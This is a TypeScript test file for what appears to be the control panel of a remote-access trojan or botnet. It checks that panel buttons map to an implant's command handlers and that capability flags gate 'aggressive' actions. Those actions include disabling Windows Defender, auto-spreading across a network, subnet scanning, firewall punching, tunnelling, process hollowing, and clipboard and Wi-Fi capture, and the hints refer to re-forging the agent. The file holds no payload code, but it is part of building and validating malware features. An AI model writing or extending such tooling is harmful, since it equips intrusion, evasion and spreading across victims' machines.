import { describe, it, expect } from 'vitest';
import {
  AGGRESSIVE_REMOTE_ACTIONS,
  aggressiveActionHint,
  canRunAggressiveAction,
} from './aggressiveActions';

/** Buttons in AgentRemoteActions (full + compact) — must match agent/client handleCommand. */
const UI_REMOTE_ACTIONS = [
  'pause',
  'resume',
  'stop',
  'uninstall',
  'restart',
  'screenshot',
  'ps',
  'sysinfo',
  'netstat',
  'users',
  'software',
  'get_log',
  'powershell',
  'upload',
  ...AGGRESSIVE_REMOTE_ACTIONS,
] as const;

/** Implemented in agent/client (handleCommand + aggressive_commands). */
const AGENT_HANDLED = new Set([
  'pause',
  'resume',
  'restart',
  'stop',
  'kill',
  'uninstall',
  'get_log',
  'exec',
  'powershell',
  'upload',
  'download',
  'ps',
  'netstat',
  'users',
  'software',
  'screenshot',
  'sysinfo',
  'ipconfig',
  'clipboard',
  'wifi',
  'hole_punch',
  'hole_punch_close',
  'hole_punch_status',
  'spread_now',
  'start_tunnel',
  'subnet_scan',
  'defender_off',
  'firewall_punch',
  'mesh_status',
]);

describe('remote action wiring', () => {
  it('every UI remote button maps to an agent handler', () => {
    for (const action of UI_REMOTE_ACTIONS) {
      expect(AGENT_HANDLED.has(action)).toBe(true);
    }
  });

  it('gates hole punch when capability missing', () => {
    expect(canRunAggressiveAction('hole_punch', { hole_punch: false, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(false);
    expect(canRunAggressiveAction('hole_punch', { hole_punch: true, remote_aggressive: false, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false })).toBe(true);
  });

  it('blocks defender_off on darwin regardless of caps', () => {
    const caps = { hole_punch: true, remote_aggressive: true, mesh_p2p: false, auto_spread: false, process_hollowing: false, ai_enabled: false };
    expect(canRunAggressiveAction('defender_off', caps, 'darwin')).toBe(false);
    expect(canRunAggressiveAction('defender_off', caps, 'windows')).toBe(true);
  });
});

describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
  it('lists every wired aggressive command once', () => {
    expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(9);
    expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(9);
  });
});

const fullCaps = {
  hole_punch: true,
  remote_aggressive: true,
  mesh_p2p: true,
  auto_spread: true,
  process_hollowing: false,
  ai_enabled: false,
};

describe('canRunAggressiveAction edge cases', () => {
  it('allows all actions when caps are undefined (legacy agents)', () => {
    for (const action of AGGRESSIVE_REMOTE_ACTIONS) {
      if (action === 'defender_off') continue;
      expect(canRunAggressiveAction(action, undefined, 'windows')).toBe(true);
    }
  });

  it('spread_now requires auto_spread or remote_aggressive', () => {
    const base = { ...fullCaps, auto_spread: false, remote_aggressive: false };
    expect(canRunAggressiveAction('spread_now', base)).toBe(false);
    expect(canRunAggressiveAction('spread_now', { ...base, auto_spread: true })).toBe(true);
    expect(canRunAggressiveAction('spread_now', { ...base, remote_aggressive: true })).toBe(true);
  });

  it('mesh_status requires mesh_p2p capability', () => {
    expect(canRunAggressiveAction('mesh_status', { ...fullCaps, mesh_p2p: false })).toBe(false);
    expect(canRunAggressiveAction('mesh_status', fullCaps)).toBe(true);
  });

  it('remote aggressive ops gate tunnel, scan, defender, firewall', () => {
    const noAgg = { ...fullCaps, remote_aggressive: false };
    for (const action of ['start_tunnel', 'subnet_scan', 'defender_off', 'firewall_punch'] as const) {
      expect(canRunAggressiveAction(action, noAgg, 'windows')).toBe(false);
      expect(canRunAggressiveAction(action, fullCaps, 'windows')).toBe(true);
    }
  });
});

describe('aggressiveActionHint', () => {
  it('returns undefined when action is allowed', () => {
    expect(aggressiveActionHint('hole_punch', fullCaps)).toBeUndefined();
    expect(aggressiveActionHint('spread_now', fullCaps)).toBeUndefined();
  });

  it('returns macOS-specific hint for defender_off', () => {
    expect(aggressiveActionHint('defender_off', fullCaps, 'darwin')).toBe(
      'Defender disable not supported on macOS'
    );
  });

  it('suggests re-forge hints when capability missing', () => {
    const noCaps = { ...fullCaps, hole_punch: false, auto_spread: false, remote_aggressive: false, mesh_p2p: false };
    expect(aggressiveActionHint('hole_punch', noCaps)).toContain('NAT Hole Punch');
    expect(aggressiveActionHint('spread_now', noCaps)).toContain('Auto-Spread');
    expect(aggressiveActionHint('mesh_status', noCaps)).toContain('Mesh P2P');
    expect(aggressiveActionHint('start_tunnel', noCaps)).toContain('Remote Aggressive Ops');
  });
});
